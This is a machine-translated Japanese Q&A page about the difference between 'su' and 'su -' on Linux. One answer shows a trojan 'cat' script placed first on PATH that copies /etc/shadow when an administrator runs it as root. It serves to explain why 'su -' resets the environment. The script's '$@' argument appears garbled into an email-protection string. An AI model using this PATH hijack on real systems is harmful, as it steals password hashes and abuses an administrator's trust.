GNU/Linux >> Linux の 問題 >  >> Linux

su だけでなく su - を使用するのはなぜですか?

su - ユーザーを切り替えた後、ログイン シェルを呼び出します。ログイン シェルはほとんどの環境変数をリセットし、クリーンなベースを提供します。

su ユーザーを切り替えるだけで、通常のシェルに古いユーザーとほぼ同じ環境が提供されます。

あなたがマシンへの通常のユーザー アクセス権を持つソフトウェア開発者であり、無知な管理者がルート アクセス権を与えないことを想像してみてください。 (できれば) 彼をだましましょう。

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

ここで、cat できない理由を管理者に尋ねます。 ホーム フォルダにダミー ファイルを追加しても、機能しません。

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

あなたの管理者がそれほど頭がよくなかったり、少し怠け者だったりする場合、彼はあなたのデスクに来てスーパーユーザー権限を試すかもしれません:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

わお!ありがとう、スーパー管理者!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

彼、彼。

$PATH が壊れていることに気付いたかもしれません。 変数はリセットされませんでした。管理者が su - を呼び出した場合、これは発生しませんでした


su - su に対して完全に root としてログインします。 root のふりをしているようにします。

これの最も明白な例は ~ です su - を使用する場合、ルートのホーム ディレクトリです。 、ただし su を使用する場合は独自のホーム ディレクトリ .

システムによっては、プロンプト PATH の違いを意味する場合もあります 、または履歴ファイル。

したがって、システムを管理するチームの一員であり、同僚からコマンドを実行するように指示された場合、両方が su - を使用していれば、コマンドは同じように機能することがわかります。 、ただし、両方が su を使用している場合 、異なるシェル構成を使用しているため、違いがある可能性があります.

一方、ルートとしてコマンドを実行したいが、独自の構成を使用する場合は、おそらく su

sudo も忘れないでください -s を持つ root として実行されているシェルを開始するオプション。もちろん、これにもさまざまなルールがあり、使用しているディストリビューションによって異なります。


主な違いは次のとおりです:

su - username 指定されたユーザーとしてのクリーン ログインであるかのようにシェル環境を設定し、指定されたユーザーの環境変数にアクセスして使用します。

su username 指定されたユーザーの現在の環境設定でシェルを開始するだけです。

su でユーザー名が指定されていない場合 と su - 、root アカウントがデフォルトとして暗示されます。


Linux
  1. キャッシュとしてのRedis:その仕組みと使用理由

  2. Linux –なぜSuだけでなくSuを使用するのですか?

  3. いつ、なぜApt-get Updateを使用する必要がありますか?

  1. なぜRm-rfであり、Rmdir -rfではないのですか?

  2. Dockerを使用する時期と理由

  3. リモートDockerホストを使用する方法と理由

  1. Bash で eval を避ける必要があるのはなぜですか? 代わりに何を使用する必要がありますか?

  2. なぜ ICMP をブロックしないのですか?

  3. crontab が機能しないのはなぜですか? どうすればトラブルシューティングできますか?